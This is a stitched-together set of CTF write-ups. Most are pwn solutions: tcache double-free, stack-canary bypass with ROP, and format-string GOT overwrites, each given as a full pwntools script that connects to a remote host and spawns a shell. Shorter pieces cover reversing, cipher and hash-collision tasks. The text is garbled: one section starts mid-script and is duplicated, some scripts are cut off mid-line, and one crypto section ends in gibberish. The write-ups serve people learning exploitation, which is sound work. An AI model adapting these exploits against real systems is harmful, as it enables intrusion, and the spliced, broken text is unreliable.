hex(libc_addr)#0x7fe5e1b31ca0 on server, so 2.27 add(0x50, '22', "/bin/sh") #4 delete(4)delete(0) add(0x50, 'consume', p64(libc_addr + 0x3ed8e8))#e.symbols["__free_hook"]))add(0x50, 'consume')add(0x50, '/bin/sh\x00', p64(libc_addr + 0x4f440))#e.symbols["system"])) #5 sh.sendline("3")sh.recvuntil("Index: ")sh.sendline(str(5)) sh.interactive()``` ## 104 Pwn / Precise average The stack overflow is obvious, but we need to find ways to bypass canary protection. The key is to send `"-"` as the floating point number, which is invalid and `scanf` will return negative, but it will not rewrite the pointer passed as argument and leave it as it is. By using this technique canary will not be rewritten. ```pythonfrom pwn import *from struct import unpack as upg_local=0p = ELF("./precise_avg.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./precise_avg.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 12499) pop_rdi = p64(0x4009c3)main = p64(0x4007D0) def exploit(rop): sh.recvuntil("Number of values: ") length = 35 + len(rop)/8 sh.sendline(str(length)) for i in xrange(35): sh.sendline("-") for i in xrange(0, len(rop), 8): sh.sendline("%.800f" % up("<d", rop[i:i+8])[0]) sh.recvuntil("Result = ") sh.recvuntil('\n') rop = pop_rdirop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += mainexploit(rop) leak = sh.recvuntil('\n') libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) rop = p64(0x400958) #retnrop += pop_rdirop += p64(libc_addr + next(e.search("/bin/sh")))rop += p64(libc_addr + e.symbols["system"])rop += p64(0) exploit(rop) sh.interactive()``` ## 287 Reverse / Mind Space This is a C++ reverse engineering challenge. Fortunately the optimization is not enabled, otherwise many C++ built-in functions would be "inlined" and the codes would be very messy. The key is to recognize `std::vector`, `std::string` and `angles` structure. ```cstruct angles{ _QWORD field_0; _QWORD field_8;};//actually they are `double` typestruct vector{ angles *pointer; angles *end; angles *real_end;};struct string{ char *pointer; size_t len; size_t maxlen_data; __int64 field_18;};``` I would not detail the C++ implementation here, if you want to know just search online or write some test codes with STL and reverse them. Here are some critical codes: ```cwhile ( !std::basic_ios<char,std::char_traits<char>>::eof(&input_stream_256) ){ v17 = 0LL; std::getline(input_stream, &flag;; v17 = string::find(&flag, ", ", 0LL); string::substr(&v14, &flag, 0LL, v17); string::operator_assign(&a1a, &v14); string::string_des(&v14); string::erase(&flag, 0LL, v17 + 1); sndnum = string::strtod((__int64)&flag, 0LL); a3 = sndnum - 80.0 - (double)i; fstnum = string::strtod((__int64)&a1a, 0LL); vector::push_back_withcheck(&a2, (double)i++ + fstnum - 80.0, a3); // fstnum is modified and inserted as field_8, and sndnum is field_0}``` ```c__int64 __fastcall encode(string *a1, double a2){ double v2; // ST00_8 bool v4; // [rsp+17h] [rbp-19h] char v5; // [rsp+18h] [rbp-18h] int v6; // [rsp+1Ch] [rbp-14h] v2 = a2; v6 = 2 * (signed int)round(100000.0 * a2); if ( v2 < 0.0 ) v6 = ~v6; string::string(a1); do { v4 = v6 >> 5 > 0; v5 = v6 & 0x1F; if ( v6 >> 5 > 0 ) v5 |= 0x20u; // a little bit similar to uleb128 in android string::operator_add(a1, (unsigned int)(char)(v5 + 0x3F)); v6 >>= 5; } while ( v4 ); return (__int64)a1;}``` This is the solving script ```pythondef read_flagenc(): f = open("./flag.txt.enc", "rb") ret = f.read() f.close() return map(ord, ret[:-1]) def recover_ints(data): ret = [] i = 0 off = 0 for c in data: n = c - 0x3f if (n & 0x20) == 0: i += n << (5 * off) ret.append(i) i = 0 off = 0 else: n -= 0x20 assert n < 0x20 i += n << (5 * off) off += 1 return ret arr = recover_ints(read_flagenc()) def back_to_double(i): if i % 1000 == 999: # if it is originally negative i = -i - 1 assert i % 1000 == 0 # % 2 == 0 return i / 2 / 100000.0 arr = map(back_to_double, arr) last0 = 0.0last1 = 0.0for i in xrange(0, len(arr), 2): arr[i] += last1 arr[i+1] += last0 last0 = arr[i+1] last1 = arr[i] #arr[i],arr[i+1] = arr[i+1],arr[i] for i in xrange(0, len(arr), 2): arr[i] = arr[i] + 80.0 - (i/2 + 1) arr[i+1] = arr[i+1] + 80.0 + (i/2 + 1) print arrprint "".join(map(lambda x : chr(int(x)), arr)) out = ""for i in xrange(0, len(arr), 2): out += "%.2f, %.2f\n" % (arr[i], arr[i+1]) # we know it is %.2f because it is the results are too close to it # (something like xx.xx9999999 or xx.xx00000001) out = out[:-1] f = open("flag.txt", 'wb')f.write(out)f.close()``` Then we have a `flag.txt`, but how do we get the flag from it? After asking for help from organizers (well, they told me this so it was allowed :D), we knew that for a floating point number `aa.bb`, `bb` is index `aa` is `ascii` value, so we can get the flag. ## 195 Reverse / Archimedes This is the critical code that generate encrypted flag. ```cwhile ( 1 ){ v23 = i; if ( v23 >= string::size(&input) ) break; v24 = sub_5555555577A7(0x10u, 8); string::substr((__int64)&v52, (__int64)&v31, 2 * i, 2LL); stringstream::stringstream(&v26, &v52, v24); string::destructor((__int64)&v52); std::istream::operator>>(&v26, &v28); input_char = (_BYTE *)string::operator_index(&input, i); string::operator_add(&v30, (unsigned int)(char)(v28 ^ *input_char ^ 0x8F ^ i++)); basic_stringstream::destructor(&v26);}``` This is basically `xor`, but `v28` is not dependent on current time instead of input flag, so we need to brute-force crack the `rand() % 0xffff` that produces the byte sequence that gives the correct flag after `xor` operation. But how to get that byte sequence given a particular `unsigned short` value? My approach is to patch the binary. Firstly, let it accept the second argument as the value that should have been generated by `rand()`. This can be done by changing the assembly. However, we need `atoi` function but there is no such function imported in this binary. The way to solve this is to change the `"srand"` or `"rand"` string in symbol string table to `"atoi"`, so that the function becomes `atoi`. Also, we need to cancel the `xor` operation such that the byte sequence being outputted into file is not encrypted flag but the byte sequence generated from the second argument. We get the flag using following script ```pythonfrom os import system def read_file(filename): f = open(filename, "rb") ret = f.read() f.close() return ret for x in xrange(1,0xffff): system("./archimedes2 flagenc %d" % x) key = read_file("./flagenc.enc") enc = read_file("./flag.enc") flag = "" for i in xrange(0x2f): flag += chr(ord(key[i]) ^ ord(enc[i]) ^ 0x8f ^ i) print flag``` However, this is slow, it might take much time to traverse all 65534 cases, but fortunately the flag comes up very soon. Also here is the [patched program](files/archimedes2).
## ## 83 Pwn / Silk Road I Brute-force crack the ID, secret must be numeric string so it does not take very long to crack ```c#include <stdio.h>#include <stdlib.h>#include <stdbool.h> bool sub_40140A(char *secret){ size_t v1; // r12 size_t v2; // r12 bool ret; // al int v4; // [rsp+1Ch] [rbp-34h] int v5; // [rsp+34h] [rbp-1Ch] int v6; // [rsp+38h] [rbp-18h] int sint; // [rsp+3Ch] [rbp-14h] sint = strtol(secret, 0LL, 10); ret = 0; if ( sint % (strlen(secret) + 2) || secret[4] != '1' ) return ret; v6 = sint / 100000; v5 = sint % 10000; if ( 10 * (sint % 10000 / 1000) + sint % 10000 % 100 / 10 - (10 * (sint / 100000 / 1000) + sint / 100000 % 10) != 1 || 10 * (v6 / 100 % 10) + v6 / 10 % 10 - 2 * (10 * (v5 % 100 / 10) + v5 % 1000 / 100) != 8 ) { return ret; } v4 = 10 * (v5 / 100 % 10) + v5 % 10; if ( (10 * (v6 % 10) + v6 / 100 % 10) / v4 != 3 || (10 * (v6 % 10) + v6 / 100 % 10) % v4 ) return ret; v1 = strlen(secret) + 2; v2 = (strlen(secret) + 2) * v1; if ( sint % (v5 * v6) == v2 * (strlen(secret) + 2) + 6 ) ret = 1; return ret;} char buf[0x100]; int main(int argc, char const *argv[]){ for (size_t i = 0; i < 0x100000000; ++i) { snprintf(buf, sizeof(buf), "%d", (int)i); if (sub_40140A(buf)) puts(buf);//790317143 } return 0;}``` Nickname is not hard to get so I will skip it. Then there is a stack-overflow, which is easy. ```pythonfrom pwn import * g_local=0p = ELF("./silkroad.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./silkroad.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 58399) def prepare(): sh.recvuntil("ID: ") sh.send("790317143") sh.recvuntil("nick: ") sh.send("DreadPirateRobertsXiz\x00") sh.recvuntil("delete evidince and run Silkroad!\n")prepare()sh.sendline("A" * (64+8) + p64(0x401bab) + p64(p.got["puts"]) + p64(p.plt["puts"]) + p64(0x401AFD)) leak = sh.recvuntil('\n')libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) prepare()sh.sendline("A" * (64+8) + p64(0x401B4B) + p64(0x401bab) + \ p64(libc_addr + next(e.search("/bin/sh"))) + p64(libc_addr + e.symbols["system"]) + p64(0)) sh.interactive()``` ## 171 Pwn / Silk Road II Since many `strtol` is used, so I would guess this token is also numeric and it is also can be brute-force cracked, but this time I will load the ELF executable as a shared library and call the verification function directly. ```c#include <stdio.h>#include <dlfcn.h>#include <memory.h>typedef int (*func_t)(char *);char buf[0x100];char key[0x100]; //to clear the stack of verification function, //because use of `strncpy` will cause uninitialized variable access (no null terminate)//which causes unexpected results if `strcat` is called to that string latervoid clear_stack(){ char buf[0x1000]; memset(buf, 0, sizeof(buf));} int main(int argc, char const *argv[]){ char* addr = *(char**)dlopen("./silkroad_2.elf", RTLD_NOW | RTLD_GLOBAL); func_t f = (func_t)(addr + 0x1C06); for (int i = 0; i < 0x3b9aca00; ++i) { sprintf(buf, "%.9d", i); for (int i = 0; i < 4; ++i) { key[i] = buf[i]; } for (int i = 0; i < 5; ++i) { key[6 + i] = buf[4 + i]; } key[4] = '1'; key[5] = '1';//4,5 must be length, which is always 11 key[11] = 0; clear_stack(); if (f(key) == 1) puts(buf); } return 0;}``` The vulnerability is format string vulnerability, when error message is printed if an invalid command is given. We can rewrite got table entry of `printf`, then hijack the `rip` and get shell using `one_gadget` ```pythonfrom pwn import * g_local=1context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./silkroad_2.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 47299) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("98831114236")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x98dprint hex(prog_addr) pg = prog_addr + 0x3f50 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` ## 182 Pwn / Silk Road III The vulnerability is exactly same, but the verification is different. ```csigned __int64 __fastcall sub_1FCA(char *input){ int v1; // eax int v2; // ST1C_4 unsigned __int64 v3; // rbx size_t v4; // r12 size_t v5; // r12 char v6; // bl int v7; // ebx int v8; // ebx size_t v9; // rax signed __int64 result; // rax signed int i; // [rsp+14h] [rbp-4Ch] signed int j; // [rsp+14h] [rbp-4Ch] signed int k; // [rsp+14h] [rbp-4Ch] signed int l; // [rsp+14h] [rbp-4Ch] char _1337[5]; // [rsp+22h] [rbp-3Eh] char v16[6]; // [rsp+27h] [rbp-39h] char v17[6]; // [rsp+2Dh] [rbp-33h] char haystack[6]; // [rsp+33h] [rbp-2Dh] char v19[15]; // [rsp+39h] [rbp-27h] unsigned __int64 v20; // [rsp+48h] [rbp-18h] v20 = __readfsqword(0x28u); haystack[5] = 0; for ( i = 0; i <= 4; ++i ) haystack[i] = input[strlen(input) - 5 + i]; if ( !strstr(haystack, "1337") ) // 14:19 goto LABEL_23; //must contain 1337, and be either X1337 or 1337X v1 = strtol(haystack, 0LL, 10); v2 = 100 * (input[13] - '0') + 1000 * (input[6] - '0') + input[15] - '0'; v3 = v1; v4 = strlen(input); v5 = strlen(input) * v4; if ( v3 % (strlen(input) * v5) != v2 ) goto LABEL_23;// 1337XorX1337 % len**3 must have ten digit being 0 for ( j = 0; j <= 4; ++j ) { v16[j] = input[j]; v17[j] = input[strlen(input) - 10 + j]; } v16[5] = 0; v17[5] = 0; for ( k = 0; k <= 14; ++k ) v19[k] = input[k]; v19[14] = 0; for ( l = 0; l <= 3; ++l ) _1337[l] = haystack[l + 1]; _1337[4] = 0; if ( strstr(v19, _1337) && (v6 = *input, v6 == input[strlen(input) - 8])// [0] == [11] && (v7 = input[strlen(input) - 2] - 48, v8 = input[strlen(input) - 3] - 48 // [17] + [16] + [15] + 1 == [1] + v7, v8 + input[strlen(input) - 4] - 48 + 1 == input[1] - 48) && (v9 = strlen(input), v9 == 19 * ((unsigned __int64)(0xD79435E50D79435FLL * (unsigned __int128)v9 >> 64) >> 4)) )// len must == 19 { result = 1LL; } else {LABEL_23: result = 0xFFFFFFFFLL; } return result;}``` Actually the restriction is easier to bypass than second version, `X813373XXXXXX931337` can pass the check. ```pythonfrom pwn import * g_local=0context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./ross.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 31337) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("X813373XXXXXX931337")sh.recvuntil("your nick: ")sh.sendline("admin")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x1E9D - 5print hex(prog_addr) pg = prog_addr + 0x5F68 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` The exploit is same, except some offset has been changed. ## 116 Pwn / pwn 101 Vulnerability is off-by-one, we can use this to extend the chunk size of unsorted bin to create overlap to leak the `libc` address; then we can get the same chunk twice in 2 different indices, so we can use double free to poison `tcache bins` and rewrite `__free_hook`. ```pythonfrom pwn import *from struct import unpack as upg_local=0#p = ELF("./pwn101.elf")context(log_level='debug', arch='amd64')#e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./pwn101.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 29099) sh.recvuntil("> ")def add(length, name, description="20192019"): sh.sendline("1") sh.recvuntil("Description Length: ") sh.sendline(str(length)) sh.recvuntil("Phone Number: ") sh.sendline("2019") sh.recvuntil("Name: ") sh.send(name) sh.recvuntil("Description: ") sh.send(description) sh.recvuntil("> ") def delete(idx): sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("> ") def show(idx): sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("Description : ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1] for i in xrange(7): add(0x200, 'name', 'fill tcache')add(0x200, 'ab') #7for i in xrange(7): delete(i) add(0x58, 'c', 'A' * 0x50 + p64(0x1f0)) #0add(0x100, 'pad') #1delete(7) add(0x78, "offbyone", 'a' * 0x78 + '\xf1') #2#0x191 -> 0x1f1add(0x180, "leak") #3libc_addr = u64(show(0) + '\x00\x00') - 0x3ebca0print hex(libc_addr)#0x7fe5e1b31ca0 on server, so 2.27 add(0x50, '22', "/bin/sh") #4 delete(4)delete(0) add(0x50, 'consume', p64(libc_addr + 0x3ed8e8))#e.symbols["__free_hook"]))add(0x50, 'consume')add(0x50, '/bin/sh\x00', p64(libc_addr + 0x4f440))#e.symbols["system"])) #5 sh.sendline("3")sh.recvuntil("Index: ")sh.sendline(str(5)) sh.interactive()``` ## 104 Pwn / Precise average The stack overflow is obvious, but we need to find ways to bypass canary protection. The key is to send `"-"` as the floating point number, which is invalid and `scanf` will return negative, but it will not rewrite the pointer passed as argument and leave it as it is. By using this technique canary will not be rewritten. ```pythonfrom pwn import *from struct import unpack as upg_local=0p = ELF("./precise_avg.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./precise_avg.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 12499) pop_rdi = p64(0x4009c3)main = p64(0x4007D0) def exploit(rop): sh.recvuntil("Number of values: ") length = 35 + len(rop)/8 sh.sendline(str(length)) for i in xrange(35): sh.sendline("-") for i in xrange(0, len(rop), 8): sh.sendline("%.800f" % up("<d", rop[i:i+8])[0]) sh.recvuntil("Result = ") sh.recvuntil('\n') rop = pop_rdirop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += mainexploit(rop) leak = sh.recvuntil('\n') libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) rop = p64(0x400958) #retnrop += pop_rdirop += p64(libc_addr + next(e.search("/bin/sh")))rop += p64(libc_addr + e.symbols["system"])rop += p64(0) exploit(rop) sh.interactive()``` ## 287 Reverse / Mind Space This is a C++ reverse engineering challenge. Fortunately the optimization is not enabled, otherwise many C++ built-in functions would be "inlined" and the codes would be very messy. The key is to recognize `std::vector`, `std::string` and `angles` structure. ```cstruct angles{ _QWORD field_0; _QWORD field_8;};//actually they are `double` typestruct vector{ angles *pointer; angles *end; angles *real_end;};struct string{ char *pointer; size_t len; size_t maxlen_data; __int64 field_18;};``` I would not detail the C++ implementation here, if you want to know just search online or write some test codes with STL and reverse them. Here are some critical codes: ```cwhile ( !std::basic_ios<char,std::char_traits<char>>::eof(&input_stream_256) ){ v17 = 0LL; std::getline(input_stream, &flag;; v17 = string::find(&flag, ", ", 0LL); string::substr(&v14, &flag, 0LL, v17); string::operator_assign(&a1a, &v14); string::string_des(&v14); string::erase(&flag, 0LL, v17 + 1); sndnum = string::strtod((__int64)&flag, 0LL); a3 = sndnum - 80.0 - (double)i; fstnum = string::strtod((__int64)&a1a, 0LL); vector::push_back_withcheck(&a2, (double)i++ + fstnum - 80.0, a3); // fstnum is modified and inserted as field_8, and sndnum is field_0}``` ```c__int64 __fastcall encode(string *a1, double a2){ double v2; // ST00_8 bool v4; // [rsp+17h] [rbp-19h] char v5; // [rsp+18h] [rbp-18h] int v6; // [rsp+1Ch] [rbp-14h] v2 = a2; v6 = 2 * (signed int)round(100000.0 * a2); if ( v2 < 0.0 ) v6 = ~v6; string::string(a1); do { v4 = v6 >> 5 > 0; v5 = v6 & 0x1F; if ( v6 >> 5 > 0 ) v5 |= 0x20u; // a little bit similar to uleb128 in android string::operator_add(a1, (unsigned int)(char)(v5 + 0x3F)); v6 >>= 5; } while ( v4 ); return (__int64)a1;}``` This is the solving script ```pythondef read_flagenc(): f = open("./flag.txt.enc", "rb") ret = f.read() f.close() return map(ord, ret[:-1]) def recover_ints(data): ret = [] i = 0 off = 0 for c in data: n = c - 0x3f if (n & 0x20) == 0: i += n << (5 * off) ret.append(i) i = 0 off = 0 else: n -= 0x20 assert n < 0x20 i += n << (5 * off) off += 1 return ret arr = recover_ints(read_flagenc()) def back_to_double(i): if i % 1000 == 999: # if it is originally negative i = -i - 1 assert i % 1000 == 0 # % 2 == 0 return i / 2 / 100000.0 arr = map(back_to_double, arr) last0 = 0.0last1 = 0.0for i in xrange(0, len(arr), 2): arr[i] += last1 arr[i+1] += last0 last0 = arr[i+1] last1 = arr[i] #arr[i],arr[i+1] = arr[i+1],arr[i] for i in xrange(0, len(arr), 2): arr[i] = arr[i] + 80.0 - (i/2 + 1) arr[i+1] = arr[i+1] + 80.0 + (i/2 + 1) print arrprint "".join(map(lambda x : chr(int(x)), arr)) out = ""for i in xrange(0, len(arr), 2): out += "%.2f, %.2f\n" % (arr[i], arr[i+1]) # we know it is %.2f because it is the results are too close to it # (something like xx.xx9999999 or xx.xx00000001) out = out[:-1] f = open("flag.txt", 'wb')f.write(out)f.close()``` Then we have a `flag.txt`, but how do we get the flag from it? After asking for help from organizers (well, they told me this so it was allowed :D), we knew that for a floating point number `aa.bb`, `bb` is index `aa` is `ascii` value, so we can get the flag. ## 195 Reverse / Archimedes This is the critical code that generate encrypted flag. ```cwhile ( 1 ){ v23 = i; if ( v23 >= string::size(&input) ) break; v24 = sub_5555555577A7(0x10u, 8); string::substr((__int64)&v52, (__int64)&v31, 2 * i, 2LL); stringstream::stringstream(&v26, &v52, v24); string::destructor((__int64)&v52); std::istream::operator>>(&v26, &v28); input_char = (_BYTE *)string::operator_index(&input, i); string::operator_add(&v30, (unsigned int)(char)(v28 ^ *input_char ^ 0x8F ^ i++)); basic_stringstream::destructor(&v26);}``` This is basically `xor`, but `v28` is not dependent on current time instead of input flag, so we need to brute-force crack the `rand() % 0xffff` that produces the byte sequence that gives the correct flag after `xor` operation. But how to get that byte sequence given a particular `unsigned short` value? My approach is to patch the binary. Firstly, let it accept the second argument as the value that should have been generated by `rand()`. This can be done by changing the assembly. However, we need `atoi` function but there is no such function imported in this binary. The way to solve this is to change the `"srand"` or `"rand"` string in symbol string table to `"atoi"`, so that the function becomes `atoi`. Also, we need to cancel the `xor` operation such that the byte sequence being outputted into file is not encrypted flag but the byte sequence generated from the second argument. We get the flag using following script ```pythonfrom os import system def read_file(filename): f = open(filename, "rb") ret = f.read() f.close() return ret for x in xrange(1,0xffff): system("./archimedes2 flagenc %d" % x) key = read_file("./flagenc.enc") enc = read_file("./flag.enc") flag = "" for i in xrange(0x2f): flag += chr(ord(key[i]) ^ ord(enc[i]) ^ 0x8f ^ i) print flag``` However, this is slow, it might take much time to traverse all 65534 cases, but fortunately the flag comes up very soon. Also here is the [patched program](files/archimedes2).
let me see the encode code ```#!/usr/bin/env python#-*- coding:utf-8 -*- import randomfrom flag import flag def encrypt(msg, perm): W = len(perm) while len(msg) % (2*W): msg += "." msg = msg[1:] + msg[:1] msg = msg[0::2] + msg[1::2] msg = msg[1:] + msg[:1] res = "" for j in xrange(0, len(msg), W): for k in xrange(W): res += msg[j:j+W][perm[k]] msg = res return msg def encord(msg, perm, l): for _ in xrange(l): msg = encrypt(msg, perm) return msg W, l = 7, random.randint(0, 1337)perm = range(W)random.shuffle(perm) enc = encord(flag, perm, l)f = open('flag.enc', 'w')f.write(enc)f.close()``` W is fixed as 7l is random numberperm is shuffled by random.shuffle() ``` while len(msg) % (2*W): msg += "."``` means padding until len(msg) is divided by 14 ``` msg = msg[1:] + msg[:1]```means move a letter to end of string like below 'abc' -> 'bca' ``` msg = msg[0::2] + msg[1::2]```means make string as even letter + odd letter like below. "abcd" -> "acbd" ``` for j in xrange(0, len(msg), W): for k in xrange(W): res += msg[j:j+W][perm[k]]```means make result using shuffled perm so, I coded like this.```#Coded by sqrtrevimport itertools W = 7perm = range(7)perm = itertools.permutations(perm) def decrypt(msg, perm): W = len(perm) origin = '' res = msg tmp_flag = '' for j in xrange(0, len(msg), W): for k in xrange(W): origin += res[j:j+W][perm[k]] origin = origin[-1] + origin[:-1] for i in range(0,35): tmp_flag += origin[i]+origin[i+35] origin = tmp_flag origin = origin[-1] + origin[:-1] return origin for x in perm: f = open("./flag.enc").read() for i in xrange(0,1338): f = decrypt(f, x) if 'ASIS{' in f: print x, f, i break```the result is (1, 0, 4, 6, 3, 2, 5) ASIS{1n54n3ly_Simpl3_And_d3lic1Ous_5n4ckS_eVEn_l4zY_Pe0pL3_Can_Mak3}.. 760
Jump over stack canary, leak glibc, write one shoot magic gadget and stack pivot to it.```#!/usr/bin/env python# coding: utf-8import structfrom pwn import * elf = ELF("precise_avg.elf")libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") context.arch = "amd64"context.terminal = ["tmux", "sp", "-h"] io = remote("82.196.10.106", 12499) def get_float(dw): return str(struct.unpack_from("d", struct.pack("
# Lithpslopey112 - 4/24/2019 We are given a program and asked to decrypt the flag.```lisp;LITHP (defparameter *encrypted* '(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312))(defparameter *flag* '(redacted))(defparameter *reorder* '(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20)) (defun enc (plain) (setf uwuth (multh plain)) (setf uwuth (owo uwuth)) (setf out nil) (dotimes (ind (length plain) out) (setq out (append out (list (/ (nth ind uwuth) -1)))))) (defun multh (plain) (cond ((null plain) nil) (t (cons (whats-this (- 1 (car plain)) (car plain)) (multh (cdr plain)))))) (defun owo (inpth) (setf out nil) (do ((redth *reorder* (cdr redth))) ((null redth) out) (setq out (append out (list (nth (car redth) inpth)))))) (defun whats-this (x y) (cond ((equal y 0) 0) (t (+ (whats-this x (- y 1)) x)))) ;flag was encrypted with (enc *flag*) to give *encrypted*```The code is written in lisp, and it's very title is a reference to that; lithp is a parody language based off of lisp wherein all s's are replaced with th. There's not much to say here if you don't know the language, but I'll first walk through the functions, starting from the bottom. `whats-this` is much simpler than it seems. All it does is multiply its parameters, but is written recursively. `owo` reorders its input such that the ith element in its parameter is moved to the jth, where j is the jth element in `*reorder*`such that the jth element is equal to i. `multh` takes a list as its argument also. If we define the ith element as a, a becomes (1 - a) * a. `enc` takes list and first calls `multh` on the input, and then calls `owo` on the input list. For each item in the newly defined list, it redefines it as the absolute value of itself. All there is to do is to compute these operations in reverse. I've simplified these functions significantly in my [solution](/code/Lithp.py) (written in python), but I hope it can still be readable.```pythonimport math str = '19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20'reorder = list(map(int, str.split())) str2 = '8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312'encrypted = list(map(int, str2.split())) finallist = [0 for i in range(28)]counter = 0 for i in reorder: x = encrypted[counter] * -1 finallist[i] = int((1 + math.sqrt(1 - 4 * x)) / 2) counter += 1 print(finallist)```And we get the result in a list.```slopey112@slopey112:/tmp$ python3 lithp.py[97, 99, 116, 102, 123, 104, 101, 108, 112, 95, 109, 101, 95, 73, 95, 104, 97, 118, 101, 95, 97, 95, 108, 105, 116, 104, 112, 125]```Right off the bat, my instinct told me that the numbers were ASCII. So I added a few lines to my solution:```pythonflag = ''for n in finallist: flag += chr(n)print(flag)```And we get our flag.```slopey112@slopey112:/tmp$ python3 lithp.pyactf{help_me_I_have_a_lithp}```
# Sunshine CTF 2019 All Crypto Challenges Writeups# Welcome Crypto [50] Here's the challenge ![](https://raw.githubusercontent.com/ozancetin/CTF-Writeups/master/2019/Sunshine-CTF-2019/CRYPTO/Welcome-Crypto.png) ```~C8 =39 A?2V8 73J:C 8FG7 AF?JJC2ECP DF?LHb=r_>b0%_0520
<h2>Cictrohash</h2> <h5> The Task </h5> This challenge was about implementing a hash function and finding a collision. In the CictroHash.pdf you can see how the hashfunction was supposed to be implemented.The input is of arbitrary length and the digest is 4 bytes long. Thus there are 2^32 possible hashvalues. Thanks to the birthday paradox (https://en.wikipedia.org/wiki/Birthday_problem), finding a collision should not be too hard. <h5> The implementation </h5>The hash.py file calculates the Cictro hashalue of a given input.The findCollision.py script then creates a wordlist and tries to find collisions within that wordist.If a collision is found, both preimages are printed. <h5>Find the collision</h5>After running the script, I found a collision caused by the preimages "AP" and "PA" (without the quotes).<h5>Getting the flag</h5>Then I submitted them to the gameserver as described in the challenge description: curl -X POST http://fun.ritsec.club:8003/checkCollision --header "Content-Type: application/json" --data '{"str1": "AP", "str2": "PA"}' And the flag comes back: RITSEC{I_am_th3_gr3@t3st_h@XOR_3v@} <h5>Final Thought</h5>This was a really fun challenge. As I am pretty new to CTFs I have not seen a similar challenge before. Thanks to the Author of the challenge and the CTF organizers. <h5> The Task </h5> This challenge was about implementing a hash function and finding a 